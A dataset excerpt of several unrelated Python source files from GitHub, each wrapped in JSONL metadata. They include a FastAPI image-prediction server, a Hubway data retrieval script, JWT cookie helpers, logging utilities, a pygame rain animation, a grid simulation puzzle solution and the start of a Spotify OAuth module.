ping():\r\n return \"Hello, I am alive\"\r\n\r\n\r\ndef read_file_as_image(data) -> np.ndarray:\r\n image = np.array(Image.open(BytesIO(data)))\r\n return image\r\n\r\n\r\n@app.post(\"/predict\")\r\nasync def predict(file: UploadFile = File(...)):\r\n\r\n # Process image before prediction\r\n image = read_file_as_image(await file.read())\r\n image = tf.image.resize(image, (224, 224))\r\n image = image / 255\r\n\r\n img_batch = np.expand_dims(image, 0)\r\n json_data = {\"instances\": img_batch.tolist()}\r\n\r\n # Send request to the server\r\n response = requests.post(endpoint, json=json_data)\r\n\r\n # Extract the image prediction\r\n prediction = np.array(response.json()[\"predictions\"][0])\r\n\r\n # Prepare the model output to be display on the screen\r\n predicted_class = CLASS_NAMES[np.argmax(prediction)]\r\n confidence = np.max(prediction)\r\n\r\n # Display model classification\r\n return {\r\n \"class\": predicted_class,\r\n \"confidence\": float(confidence)\r\n }\r\n\r\nif __name__ == \"__main__\":\r\n uvicorn.run(app, host='localhost', port=8000)\r\n","repo_name":"Dor12k/Project-Strawberry-Diseases","sub_path":"Server/FastAPI_Tensorflow_server.py","file_name":"FastAPI_Tensorflow_server.py","file_ext":"py","file_size_in_byte":1846,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"1665356665","text":"import csv\r\nimport io\r\nimport urllib.request\r\nimport json\r\nimport dml\r\nimport prov.model\r\nimport datetime\r\nimport uuid\r\n\r\n\r\nclass RetrieveHubwayStations(dml.Algorithm):\r\n contributor = 'yufeng72'\r\n reads = []\r\n writes = ['yufeng72.hubwayStations']\r\n\r\n @staticmethod\r\n def execute(trial=False):\r\n '''Retrieve some data sets (not using the API here for the sake of simplicity).'''\r\n startTime = datetime.datetime.now()\r\n\r\n # Set up the database connection.\r\n client = dml.pymongo.MongoClient()\r\n repo = client.repo\r\n repo.authenticate('yufeng72', 'yufeng72')\r\n\r\n url = 'https://s3.amazonaws.com/hubway-data/Hubway_Stations_as_of_July_2017.csv'\r\n response = urllib.request.urlopen(url)\r\n r = csv.reader(io.StringIO(response.read().decode('utf-8')), delimiter=',')\r\n r_parse = []\r\n for row in r:\r\n temp = {'StationID': row[0], 'Address': row[1], 'Latitude': row[2], 'Longitude': row[3],\r\n 'Municipality': row[4], 'publiclyExposed': row[5], 'DockNum': row[6]}\r\n r_parse.append(temp)\r\n r_parse.remove(r_parse[0])\r\n\r\n repo.dropCollection(\"hubwayStations\")\r\n repo.createCollection(\"hubwayStations\")\r\n repo['yufeng72.hubwayStations'].insert_many(r_parse)\r\n repo['yufeng72.hubwayStations'].metadata({'complete': True})\r\n print(repo['yufeng72.hubwayStations'].metadata())\r\n\r\n repo.logout()\r\n\r\n endTime = datetime.datetime.now()\r\n\r\n return {\"start\": startTime, \"end\": endTime}\r\n\r\n @staticmethod\r\n def provenance(doc=prov.model.ProvDocument(), startTime=None, endTime=None):\r\n '''\r\n Create the provenance document describing everything happening\r\n in this script. Each run of the script will generate a new\r\n document describing that invocation event.\r\n '''\r\n\r\n # Set up the database connection.\r\n client = dml.pymongo.MongoClient()\r\n repo = client.repo\r\n repo.authenticate('yufeng72', 'yufeng72')\r\n doc.add_namespace('alg', 'http://datamechanics.io/algorithm/') # The scripts are in # format.\r\n doc.add_namespace('dat', 'http://datamechanics.io/data/') # The data sets are in # format.\r\n doc.add_namespace('ont', 'http://datamechanics.io/ontology#') # 'Extension', 'DataResource', 'DataSet',\r\n # 'Retrieval', 'Query', or 'Computation'.\r\n doc.add_namespace('log', 'http://datamechanics.io/log/') # The event log.\r\n doc.add_namespace('bdp', 'https://s3.amazonaws.com/hubway-data/')\r\n\r\n this_script = doc.agent('alg:yufeng72#RetrieveHubwayStations',\r\n {prov.model.PROV_TYPE: prov.model.PROV['SoftwareAgent'], 'ont:Extension': 'py'})\r\n\r\n resource = doc.entity('bdp:Hubway_Stations_as_of_July_2017',\r\n {'prov:label': 'Hubway Stations', prov.model.PROV_TYPE: 'ont:DataResource',\r\n 'ont:Extension': 'csv'})\r\n\r\n get_hubwayStations = doc.activity('log:uuid' + str(uuid.uuid4()), startTime, endTime)\r\n doc.wasAssociatedWith(get_hubwayStations, this_script)\r\n doc.usage(get_hubwayStations, resource, startTime, None,\r\n {prov.model.PROV_TYPE: 'ont:Retrieval',\r\n 'ont:Query': 'select=StationID,Address,Latitude,Longitude,Municipality,publiclyExposed,DockNum'\r\n }\r\n )\r\n\r\n hubwayStations = doc.entity('dat:yufeng72#hubwayStations',\r\n {prov.model.PROV_LABEL: 'Hubway Stations', prov.model.PROV_TYPE: 'ont:DataSet'})\r\n doc.wasAttributedTo(hubwayStations, this_script)\r\n doc.wasGeneratedBy(hubwayStations, get_hubwayStations, endTime)\r\n doc.wasDerivedFrom(hubwayStations, resource, get_hubwayStations, get_hubwayStations, get_hubwayStations)\r\n\r\n repo.logout()\r\n\r\n return doc\r\n\r\n'''\r\n# This is example code you might use for debugging this module.\r\n# Please remove all top-level function calls before submitting.\r\nRetrieveHubwayStations.execute()\r\ndoc = RetrieveHubwayStations.provenance()\r\nprint(doc.get_provn())\r\nprint(json.dumps(json.loads(doc.serialize()), indent=4))\r\n'''\r\n\r\n## eof\r\n","repo_name":"umangtdesai/MBE-Data-Analysis","sub_path":"yufeng72/RetrieveHubwayStations.py","file_name":"RetrieveHubwayStations.py","file_ext":"py","file_size_in_byte":4282,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"18434628434","text":"import calendar\nimport http.cookies\nimport uuid\nfrom datetime import datetime, timedelta\n\nimport jwt\nfrom starlette.responses import Response\n\nfrom backend.config import settings\nfrom common.models.user import User\n\n\n# TODO move this to auth server\ndef set_token_to_response(\n user: User, expiry_after: timedelta, cookie_key: str, response: Response\n):\n expiry = get_expiry_epoch_after(expiry_after)\n token = jwt.encode(\n {\n \"id\": user.id,\n \"sub\": user.sub,\n \"roles\": user.roles,\n \"plan\": user.plan,\n \"exp\": expiry,\n \"jti\": str(uuid.uuid4()),\n },\n settings.auth_settings.JWT_SECRET,\n algorithm=\"HS256\",\n )\n set_token_cookie(response, cookie_key, token)\n\n\ndef set_access_token_to_response(user: User, response: Response):\n set_token_to_response(\n user,\n timedelta(minutes=settings.auth_settings.ACCESS_TOKEN_EXPIRY_IN_MINUTES),\n \"Authorization\",\n response,\n )\n\n\ndef set_refresh_token_to_response(user: User, response: Response):\n set_token_to_response(\n user,\n timedelta(days=settings.auth_settings.REFRESH_TOKEN_EXPIRY_IN_DAYS),\n \"RefreshToken\",\n response,\n )\n\n\ndef set_tokens_to_response(user: User, response: Response):\n set_access_token_to_response(user=user, response=response)\n set_refresh_token_to_response(user=user, response=response)\n\n\ndef get_expiry_epoch_after(time_delta: timedelta = timedelta()):\n return calendar.timegm((datetime.utcnow() + time_delta).utctimetuple())\n\n\ndef set_cookie(\n response: Response,\n key: str,\n value: str = \"\",\n max_age: int = None,\n expires: int = None,\n path: str = \"/\",\n domain: str = None,\n secure: bool = False,\n httponly: bool = False,\n samesite: str = \"lax\",\n) -> None:\n cookie: http.cookies.BaseCookie = http.cookies.SimpleCookie()\n cookie[key] = value\n if max_age is not None:\n cookie[key][\"max-age\"] = max_age\n if expires is not None:\n cookie[key][\"expires\"] = expires\n if path is not None:\n cookie[key][\"path\"] = path\n if domain is not None:\n cookie[key][\"domain\"] = domain\n if secure:\n cookie[key][\"secure\"] = True\n if httponly:\n cookie[key][\"httponly\"] = True\n if samesite is not None:\n assert samesite.lower() in [\n \"strict\",\n \"lax\",\n \"none\",\n ], \"samesite must be either 'strict', 'lax' or 'none'\"\n cookie[key][\"samesite\"] = samesite\n cookie_val = cookie.output(header=\"\").strip()\n response.raw_headers.append((b\"set-cookie\", cookie_val.encode(\"latin-1\")))\n\n\ndef delete_cookie(\n response: Response,\n key: str,\n path: str = \"/\",\n domain: str = None,\n secure: bool = False,\n httponly: bool = False,\n samesite: str = \"lax\",\n) -> None:\n response.set_cookie(\n key,\n max_age=0,\n expires=0,\n path=path,\n domain=domain,\n secure=secure,\n httponly=httponly,\n samesite=samesite,\n )\n\n\ndef set_token_cookie(response: Response, key: str, token: str):\n should_be_secure = False if \"localhost\" in settings.api_settings.HOST else True\n same_site = \"none\" if should_be_secure else \"lax\"\n set_cookie(\n response=response,\n key=key,\n value=token,\n httponly=True,\n secure=should_be_secure,\n samesite=same_site,\n max_age=settings.auth_settings.REFRESH_TOKEN_EXPIRY_IN_DAYS * 24 * 60 * 60,\n )\n\n\ndef delete_token_cookie(response: Response):\n should_be_secure = False if \"localhost\" in settings.api_settings.HOST else True\n same_site = \"none\" if should_be_secure else \"lax\"\n delete_cookie(\n response=response,\n key=\"Authorization\",\n httponly=True,\n secure=should_be_secure,\n samesite=same_site,\n )\n delete_cookie(\n response=response,\n key=\"Refresh_token\",\n httponly=True,\n secure=should_be_secure,\n samesite=same_site,\n )\n","repo_name":"bettercollected/bettercollected-backend","sub_path":"backend/app/services/auth_cookie_service.py","file_name":"auth_cookie_service.py","file_ext":"py","file_size_in_byte":4028,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"15724205957","text":"\"\"\"Utilities related to configuration and handling of framework logging.\n\"\"\"\nimport os\nimport sys\nimport argparse\nimport datetime\nimport subprocess\nimport signal\n\nimport logging\nimport logging.config\nimport logging.handlers\n_log = logging.getLogger(__name__)\n\nclass MDTFConsoleHandler(logging.StreamHandler):\n \"\"\"Dummy class to designate logging to stdout or stderr from the root logger.\n \"\"\"\n pass\n\nclass MultiFlushMemoryHandler(logging.handlers.MemoryHandler):\n \"\"\"Subclass :py:class:`logging.handlers.MemoryHandler` to enable flushing\n the contents of its log buffer to multiple targets. We do this to solve the\n chicken-and-egg problem of logging any events that happen before the log\n outputs are configured: those events are captured by an instance of this\n handler and then transfer()'ed to other handlers once they're set up.\n See ``__.\n \"\"\"\n\n def transfer(self, target_handler):\n \"\"\"Transfer contents of buffer to target_handler.\n\n Args:\n target_handler (:py:class:`logging.Handler`): log handler to transfer\n contents of buffer to.\n \"\"\"\n self.acquire()\n try:\n self.setTarget(target_handler)\n if self.target:\n for record in self.buffer:\n if self.target.level <= record.levelno:\n self.target.handle(record)\n # self.buffer = [] # don't clear buffer!\n finally:\n self.release()\n\n def transfer_to_non_console(self, logger):\n \"\"\"Transfer contents of buffer to all non-console-based handlers attached\n to *logger* (handlers that aren't :py:class:`MDTFConsoleHandler`.)\n\n If no handlers are attached to the logger, a warning is printed and the\n buffer is transferred to the :py:class:`logging.lastResort` handler, i.e.\n printed to stderr.\n\n Args:\n logger (:py:class:`logging.Logger`): logger to transfer\n contents of buffer to.\n \"\"\"\n no_transfer_flag = True\n for h in logger.handlers:\n if not isinstance(h, (MultiFlushMemoryHandler, MDTFConsoleHandler)):\n self.transfer(h)\n no_transfer_flag = False\n if no_transfer_flag:\n logger.warning(\"No non-console loggers configured.\")\n self.transfer(logging.lastResort)\n\nclass HeaderFileHandler(logging.FileHandler):\n \"\"\"Subclass :py:class:`logging.FileHandler` to print system information to\n start of file without writing it to other loggers.\n \"\"\"\n def _log_header(self):\n return \"\"\n\n def _open(self):\n \"\"\"Write header information right after we open the log file, then\n proceed normally.\n \"\"\"\n fp = super(HeaderFileHandler, self)._open()\n fp.write(self._log_header())\n return fp\n\nclass MDTFHeaderFileHandler(HeaderFileHandler):\n def _log_header(self):\n \"\"\"Returns string of system debug information to use as log file header.\n Calls :func:`git_info`.\n \"\"\"\n try:\n git_branch, git_hash, _ = git_info()\n str_ = (\n \"MDTF PACKAGE LOG\\n\\n\"\n f\"Started logging at {datetime.datetime.now()}\\n\"\n f\"git hash/branch: {git_hash} (on {git_branch})\\n\"\n # f\"uncommitted files: {git_dirty}\\n\"\n f\"sys.platform: '{sys.platform}'\\n\"\n # f\"sys.executable: '{sys.executable}'\\n\"\n f\"sys.version: '{sys.version}'\\n\"\n # f\"sys.path: {sys.path}\\nsys.argv: {sys.argv}\\n\"\n )\n return str_ + (80 * '-') + '\\n\\n'\n except Exception:\n err_str = \"Couldn't gather log file header information.\"\n _log.exception(err_str)\n return \"ERROR: \" + err_str + \"\\n\"\n\n\nclass HangingIndentFormatter(logging.Formatter):\n \"\"\":py:class:`logging.Formatter` that applies a hanging indent, making it\n easier to tell where one entry stops and the next starts.\n \"\"\"\n # https://blog.belgoat.com/python-textwrap-wrap-your-text-to-terminal-size/\n def __init__(self, fmt=None, datefmt=None, style='%', tabsize=0, header=\"\", footer=\"\"):\n \"\"\"Initialize formatter with extra arguments.\n\n Args:\n fmt (str): format string, as in :py:class:`logging.Formatter`.\n datefmt (str): date format string, as in :py:class:`logging.Formatter`\n or `strftime `__.\n style (str): string templating style, as in :py:class:`logging.Formatter`.\n tabsize (int): Number of spaces to use for hanging indent.\n header (str): Optional constant string to prepend to each log entry.\n footer (str): Optional constant string to append to each log entry.\n \"\"\"\n super(HangingIndentFormatter, self).__init__(fmt=fmt, datefmt=datefmt, style=style)\n self.indent = (tabsize * ' ')\n self.stack_indent = self.indent\n self.header = str(header)\n self.footer = str(footer)\n\n @staticmethod\n def _hanging_indent(str_, initial_indent, subsequent_indent):\n \"\"\"Poor man's indenter. Easier than using textwrap for this case.\n\n Args:\n str_ (str): String to be indented.\n initial_indent (str): string to insert as the indent for the first\n line.\n subsequent_indent (str): string to insert as the indent for all\n subsequent lines.\n\n Returns:\n Indented string.\n \"\"\"\n lines_ = str_.splitlines()\n lines_out = []\n if len(lines_) > 0:\n lines_out = lines_out + [initial_indent + lines_[0]]\n if len(lines_) > 1:\n lines_out = lines_out + [(subsequent_indent+l) for l in lines_[1:]]\n return '\\n'.join(lines_out)\n\n def format(self, record):\n \"\"\"Format the specified :py:class:`logging.LogRecord` as text, adding\n indentation and header/footer.\n\n Args:\n record (:py:class:`logging.LogRecord`): logging record to be formatted.\n\n Returns:\n String representation of the log entry.\n\n This essentially repeats the method's `implementation\n `__\n in the python standard library. See comments there and the logging module\n `documentation `__.\n \"\"\"\n record.message = record.getMessage()\n if self.usesTime():\n record.asctime = self.formatTime(record, self.datefmt)\n s = self.formatMessage(record)\n # indent the text of the log message itself\n s = self._hanging_indent(s, '', self.indent)\n if self.header:\n s = self.header + s\n\n if record.exc_info and not record.exc_text:\n record.exc_text = self.formatException(record.exc_info)\n if record.exc_text:\n # text from formatting the exception. NOTE that this includes the\n # stack trace without populating stack_info or calling formatStack.\n if not s.endswith('\\n'):\n s = s + '\\n'\n s = s + self._hanging_indent(\n record.exc_text,\n self.indent, self.stack_indent\n )\n if record.stack_info:\n # stack_info apparently only used if our format string (ie, 'fmt' in\n # init) requests a stack trace?\n if not s.endswith('\\n'):\n s = s + '\\n'\n s = s + self._hanging_indent(\n self.formatStack(record.stack_info),\n self.stack_indent, self.stack_indent\n )\n if self.footer:\n s = s + self.footer\n return s\n\n\nclass GeqLevelFilter(logging.Filter):\n \"\"\":py:class:`logging.Filter` to include only log messages with a severity of\n level or worse. This is normally done by setting the level attribute on a\n :py:class:`logging.Handler`, but we need to add a filter when transferring\n records from another logger, as shown in\n ``__.\"\"\"\n def __init__(self, name=\"\", level=None):\n super(GeqLevelFilter, self).__init__(name=name)\n if level is None:\n level = logging.NOTSET\n if not isinstance(level, int):\n if hasattr(logging, str(level)):\n level = getattr(logging, str(level))\n else:\n level = int(level)\n self.levelno = level\n\n def filter(self, record):\n return record.levelno >= self.levelno\n\nclass LtLevelFilter(logging.Filter):\n \"\"\":py:class:`logging.Filter` to include only log messages with a severity\n less than level.\n \"\"\"\n def __init__(self, name=\"\", level=None):\n super(LtLevelFilter, self).__init__(name=name)\n if level is None:\n level = logging.NOTSET\n if not isinstance(level, int):\n if hasattr(logging, str(level)):\n level = getattr(logging, str(level))\n else:\n level = int(level)\n self.levelno = level\n\n def filter(self, record):\n return record.levelno < self.levelno\n\nclass EqLevelFilter(logging.Filter):\n \"\"\":py:class:`logging.Filter` to include only log messages with a severity\n equal to level.\n \"\"\"\n def __init__(self, name=\"\", level=None):\n super(EqLevelFilter, self).__init__(name=name)\n if level is None:\n level = logging.NOTSET\n if not isinstance(level, int):\n if hasattr(logging, str(level)):\n level = getattr(logging, str(level))\n else:\n level = int(level)\n self.levelno = level\n\n def filter(self, record):\n return record.levelno == self.levelno\n\n\ndef git_info():\n \"\"\"Get the current git branch, hash, and list of uncommitted files, if\n available.\n\n Called by :meth:`DebugHeaderFileHandler._debug_header`. Based on NumPy's\n implementation: ``__.\n \"\"\"\n def _minimal_ext_cmd(cmd):\n # construct minimal environment\n env = os.environ.copy()\n env.update({'LANGUAGE':'C', 'LANG':'C', 'LC_ALL':'C'})\n try:\n out = subprocess.Popen(\n cmd, stdout=subprocess.PIPE, stderr=subprocess.DEVNULL, env=env\n ).communicate()[0]\n except subprocess.CalledProcessError:\n out = ''\n return out.strip().decode('utf-8')\n\n git_branch = \"\"\n git_hash = \"\"\n git_dirty = \"\"\n try:\n git_branch = _minimal_ext_cmd(['git', 'rev-parse', '--abbrev-ref', 'HEAD'])\n git_hash = _minimal_ext_cmd(['git', 'rev-parse', 'HEAD'])\n git_dirty = _minimal_ext_cmd(['git', 'diff', '--no-ext-diff', '--name-only'])\n except OSError:\n pass\n\n if git_dirty:\n git_dirty = git_dirty.splitlines()\n elif git_hash:\n git_dirty = \"\"\n else:\n git_dirty = \"\"\n if not git_branch:\n git_branch = \"\"\n if not git_hash:\n git_hash = \"\"\n return (git_branch, git_hash, git_dirty)\n\n# ------------------------------------------------------------------------------\n\ndef signal_logger(caller_name, signum=None, frame=None, log=_log):\n \"\"\"Lookup signal name from number and write to log.\n\n Taken from ``__.\n\n Args:\n caller_name (str): Calling function name, only used in log message.\n signum, frame: parameters of the signal we recieved.\n \"\"\"\n if signum:\n sig_lookup = {\n k:v for v, k in reversed(sorted(list(signal.__dict__.items()))) \\\n if v.startswith('SIG') and not v.startswith('SIG_')\n }\n log.info(\n \"%s caught signal %s (%s)\",\n caller_name, sig_lookup.get(signum, 'UNKNOWN'), signum\n )\n else:\n log.info(\"%s caught unknown signal.\", caller_name)\n\ndef _set_excepthook(root_logger):\n \"\"\"Ensure all uncaught exceptions, other than user KeyboardInterrupt, are\n logged to the root logger.\n\n See ``__.\n \"\"\"\n def uncaught_exception_handler(exc_type, exc_value, exc_traceback):\n if issubclass(exc_type, KeyboardInterrupt):\n # Skip logging for user interrupt\n sys.__excepthook__(exc_type, exc_value, exc_traceback)\n return\n root_logger.critical(\n (70*'*') + \"\\nUncaught exception:\\n\", # banner so it stands out\n exc_info=(exc_type, exc_value, exc_traceback)\n )\n\n sys.excepthook = uncaught_exception_handler\n\ndef _configure_logging_dict(log_d, log_args):\n \"\"\"Convert CLI flags (``--verbose``/``--quiet``) into log levels. Configure\n log level and filters on console handlers in a logging config dictionary.\n \"\"\"\n # smaller number = more verbose\n level = getattr(log_args, 'quiet', 0) - getattr(log_args, 'verbose', 0)\n if level <= 1:\n stderr_level = logging.WARNING\n elif level == 2:\n stderr_level = logging.ERROR\n else:\n stderr_level = logging.CRITICAL\n log_d['filters'] = {\n \"stderr_filter\": {\"()\": GeqLevelFilter, \"level\": stderr_level},\n \"stdout_filter\": {\"()\": EqLevelFilter, \"level\": logging.INFO},\n \"debug_filter\": {\"()\": LtLevelFilter, \"level\": logging.INFO}\n }\n for h in ('stderr', 'stdout', 'debug'):\n if h in log_d['handlers']:\n log_d['handlers'][h]['filters'] = [h+'_filter']\n if 'stderr' in log_d['handlers']:\n log_d['handlers']['stderr']['level'] = stderr_level\n\n if level <= -2:\n for d in log_d['handlers'].values():\n d['formatter'] = 'debug'\n if level == 0:\n del log_d['handlers']['debug']\n log_d['root']['handlers'] = [\"stdout\", \"stderr\"]\n elif level == 1:\n del log_d['handlers']['debug']\n del log_d['handlers']['stdout']\n log_d['root']['handlers'] = [\"stderr\"]\n return log_d\n\ndef _set_log_file_paths(d, new_paths):\n \"\"\"Assign paths to log files. Paths are assumed to be well-formed and in\n writeable locations.\n\n Args:\n d (dict): Nested dict read from the log configuration file.\n new_paths (dict): Dict of new log file names to assign. Keys are the\n names of :py:class:`logging.Handler` handlers in the config file, and\n values are the new paths.\n \"\"\"\n if not new_paths:\n _log.error(\"Log file paths not set.\")\n return\n handlers = d.setdefault('handlers', dict())\n for h in handlers:\n if h in new_paths:\n d['handlers'][h][\"filename\"] = new_paths[h]\n del new_paths[h]\n if new_paths:\n _log.warning(\"Couldn't find handlers for the following log files: %s\",\n new_paths)\n\ndef case_log_config(config_mgr, **new_paths):\n \"\"\"Wrapper to handle logger configuration from a file and transferring the\n temporary log cache to the newly-configured loggers.\n\n Args:\n root_logger ( :py:class:`logging.Logger` ): Framework's root logger, to\n which the temporary log cache was attached.\n cli_obj ( :class:`~src.cli.MDTFTopLevelArgParser` ): CLI parser object\n containing parsed command-line values.\n new_paths (dict): Dict of new log file names to assign. Keys are the\n names of :py:class:`logging.Handler` handlers in the config file, and\n values are the new paths.\n \"\"\"\n if config_mgr.log_config is None:\n return\n\n root_logger = logging.getLogger()\n cache_idx = [i for i,handler in enumerate(root_logger.handlers) \\\n if isinstance(handler, MultiFlushMemoryHandler)]\n first_call = len(cache_idx) > 0\n if first_call:\n temp_log_cache = root_logger.handlers[cache_idx[0]]\n\n # log uncaught exceptions\n _set_excepthook(root_logger)\n # configure loggers from the specification we loaded\n try:\n # set console verbosity level\n log_d = config_mgr.log_config.copy()\n log_d = _configure_logging_dict(log_d, config_mgr)\n _set_log_file_paths(log_d, new_paths)\n logging.config.dictConfig(log_d)\n except Exception:\n _log.exception(\"Logging config failed.\")\n\n if first_call:\n # transfer cache contents to newly-configured loggers and delete it\n temp_log_cache.transfer_to_non_console(root_logger)\n temp_log_cache.close()\n root_logger.removeHandler(temp_log_cache)\n _log.debug('Contents of log cache transferred.')\n\ndef initial_log_config():\n \"\"\"Configure the root logger for logging to console and to a cache provided\n by :class:`MultiFlushMemoryHandler`. For debugging purposes\n we want to get console output set up before we've read in the real log config\n files (which requires doing a full parse of the user input).\n \"\"\"\n logging.captureWarnings(True)\n # log uncaught exceptions\n root_logger = logging.getLogger()\n _set_excepthook(root_logger)\n log_d = {\n \"version\": 1,\n \"disable_existing_loggers\": True,\n \"root\": {\n \"level\": \"NOTSET\",\n \"handlers\": [\"debug\", \"stdout\", \"stderr\", \"cache\"]\n },\n \"handlers\": {\n \"debug\": {\n \"()\": \"src.util.logs.MDTFConsoleHandler\",\n \"formatter\": \"level\",\n \"level\": logging.DEBUG,\n \"stream\": \"ext://sys.stdout\"\n },\n \"stdout\": {\n \"()\": \"src.util.logs.MDTFConsoleHandler\",\n \"formatter\": \"normal\",\n \"level\": logging.INFO,\n \"stream\": \"ext://sys.stdout\"\n },\n \"stderr\": {\n \"()\": \"src.util.logs.MDTFConsoleHandler\",\n \"formatter\": \"level\",\n \"level\": logging.WARNING,\n \"stream\": \"ext://sys.stderr\"\n },\n \"cache\": {\n \"()\": \"src.util.logs.MultiFlushMemoryHandler\",\n \"level\": logging.NOTSET,\n \"capacity\": 8*1024,\n \"flushOnClose\": False\n }\n },\n \"formatters\": {\n \"normal\": {\"format\": \"%(message)s\"},\n \"level\": {\"format\": \"%(levelname)s: %(message)s\"},\n \"debug\": {\n \"()\": HangingIndentFormatter,\n \"format\": (\"%(levelname)s: %(funcName)s (%(filename)s line \"\n \"%(lineno)d):\\n%(message)s\"),\n \"tabsize\": 4,\n \"footer\": \"\\n\"\n }\n }\n }\n log_parser = argparse.ArgumentParser(add_help=False)\n log_parser.add_argument('--verbose', '-v', default=0, action=\"count\")\n log_parser.add_argument('--quiet', '-q', default=0, action=\"count\")\n log_args, _ = log_parser.parse_known_args()\n\n log_d = _configure_logging_dict(log_d, log_args)\n logging.config.dictConfig(log_d)\n _log.debug('Console loggers configured.')\n","repo_name":"yum102/MDTF-diagnostics","sub_path":"src/util/logs.py","file_name":"logs.py","file_ext":"py","file_size_in_byte":19118,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"75"} +{"seq_id":"25528214924","text":"\nimport pygame,sys, random\nfrom pygame.locals import*\n\nclock = pygame.time.Clock()\n\npygame.init()\npygame.display.set_caption(\"PyGame1\")\nscreen = pygame.display.set_mode((640,480))\n\nraindrops = []\nclouds = []\n\ncloud_image = pygame.image.load(\"cloud2.png\").convert_alpha()\ncloud_image2 = pygame.image.load(\"cloud3.png\").convert_alpha()\nhuman_image = pygame.image.load(\"human.png\").convert_alpha()\numbrella_image = pygame.image.load(\"umbrella.png\").convert_alpha()\n\nxpos_human = 200\nypos_human = 350\n\nxpos_cloud = -200\n\numbrellaOn = False\n\ntimer = 4\nclass Rain:\n\n def __init__(self):\n self.xpos = random.randint(xpos_cloud + 50, xpos_cloud + 250)\n self.ypos = 100\n self.size = random.randint(1, 5)\n\n def draw(self):\n pygame.draw.circle(screen, (222, 222, 222), (self.xpos, self.ypos), self.size, self.size)\n\n def move(self):\n self.ypos += random.randint(3, 10)\n\n# class Cloud:\n#\n# def __init__(self):\n# self.xpos_cloud = -150\n# self.ypos = random.randint(0, 100)\n#\n# def draw(self):\n# screen.blit(cloud_image, (self.xpos_cloud, 0))\n# def move(self):\n# self.xpos_cloud += 3\n\nwhile True:\n\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n sys.exit()\n\n pressed_key = pygame.key.get_pressed()\n clock.tick(60)\n screen.fill((83, 84, 84))\n\n screen.blit(human_image, (xpos_human, ypos_human))\n screen.blit(cloud_image, (xpos_cloud, 0))\n xpos_cloud += 3\n\n raindrops.append(Rain())\n # clouds.append(Cloud())\n\n for i in raindrops:\n i.draw()\n i.move()\n if i.ypos > 400:\n raindrops.remove(i)\n if i.xpos == xpos_human:\n umbrellaOn = True\n\n\n # for i in clouds:\n # i.draw()\n # i.move()\n # if i.xpos_cloud > 600:\n # clouds.remove(i)\n\n if pressed_key[K_LEFT]:\n xpos_human -= 4\n\n if pressed_key[K_RIGHT]:\n xpos_human += 4\n\n if xpos_human > 580:\n xpos_human = 580\n\n if xpos_human < 0:\n xpos_human = 0\n\n if xpos_cloud > 600:\n xpos_cloud = -200\n\n if umbrellaOn == True:\n screen.blit(umbrella_image, (xpos_human, ypos_human - 50))\n timer -= .5\n if timer == 0:\n umbrellaOn = False\n timer = 5\n\n pygame.display.update()\n","repo_name":"vlyras20/HomeworkTerm2","sub_path":"exercises.py","file_name":"exercises.py","file_ext":"py","file_size_in_byte":2327,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"22696618626","text":"\n\nR, C, T = map(int, input().split())\nimport sys\nimport copy \nboard1 = [list(map(int, sys.stdin.readline().split())) for i in range(R)]\nboard2 = copy.deepcopy(board1)\n\n\nair_position = []\nfor i in range(R):\n for j in range(C):\n if board1[i][j] == -1:\n air_position.append([i,j])\n\n\ndr = [0,0,1,-1]\ndc = [1,-1, 0,0]\n\ndef spread(t):\n global R, C\n if t%2==0:\n board = board1\n other = board2 \n else:\n board = board2 \n other = board1 \n \n for i in range(R):\n for j in range(C):\n if other[i][j] != -1:\n other[i][j] = 0\n\n for i in range(R):\n for j in range(C):\n if board[i][j] != -1:\n value = board[i][j]\n spread = value//5 \n spreaded = 0\n for d in range(4):\n nr, nc = i + dr[d], j + dc[d]\n if 0<= nr < R and 0 <= nc < C:\n if other[nr][nc] != -1:\n other[nr][nc] += spread \n spreaded += spread \n other[i][j] += value - spreaded \n return other \n\ndef run_machine(board):\n x,y = air_position[0]\n for r in range(x-2,-1, -1):\n board[r+1][0] = board[r][0]\n for c in range(1, C):\n board[0][c-1] = board[0][c]\n for r in range(1, x+1):\n board[r-1][-1] = board[r][-1]\n for c in range(C-2, 0, -1):\n board[x][c+1] = board[x][c]\n board[x][1] = 0 \n\n\n x,y = air_position[1]\n for r in range(x+2, R):\n board[r-1][0] = board[r][0]\n for c in range(1, C):\n board[-1][c-1] =board[-1][c]\n for r in range(R-2, x-1, -1):\n board[r+1][-1] = board[r][-1]\n for c in range(C-2, 0, -1):\n board[x][c+1] = board[x][c] \n board[x][1] = 0 \n\n return board\n\n\nfor i in range(T):\n board = spread(i)\n board = run_machine(board)\n\n\n\ncount = 0\nfor i in range(R):\n for j in range(C):\n if board[i][j]>0 : \n count += board[i][j]\n\nprint(count)\n","repo_name":"PySolve/bumjin","sub_path":"problems/17144_미세먼지안녕/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":2023,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"1039361380","text":"import os\nimport requests\nimport json\nimport spotipy\nimport logging\nfrom .utils import log_error_with_flash\n\nfrom flask import request, redirect, session, url_for, current_app as app, g\n\nfrom spotipy.oauth2 import SpotifyOAuth\n\nlogger = logging.getLogger(\"karaokehunt\")\n\nSPOTIFY_CLIENT_ID = os.getenv(\"SPOTIFY_CLIENT_ID\")\nSPOTIFY_CLIENT_SECRET = os.getenv(\"SPOTIFY_CLIENT_SECRET\")\nSPOTIFY_REDIRECT_URI = os.getenv(\"SPOTIFY_REDIRECT_URI\")\nSPOTIFY_SCOPES = \"user-top-read user-library-read\"\n# Temporarily disabled till I get the scope fixed in the app extension request\n# SPOTIFY_SCOPES = \"user-read-email user-read-private user-top-read user-follow-read user-library-read\"\n\nTEMP_OUTPUT_DIR = os.getenv(\"TEMP_OUTPUT_DIR\")\n\n##########################################################################\n################ Spotify Auth Flow ##############\n##########################################################################\n\n\ndef get_spotify_user_id(access_token):\n url = \"https://api.spotify.com/v1/me\"\n headers = {\"Authorization\": f\"Bearer {access_token}\"}\n\n response = requests.get(url, headers=headers)\n\n if response.status_code != 200:\n logger.error(f\"Failed to fetch user ID. Error {response.status_code}: 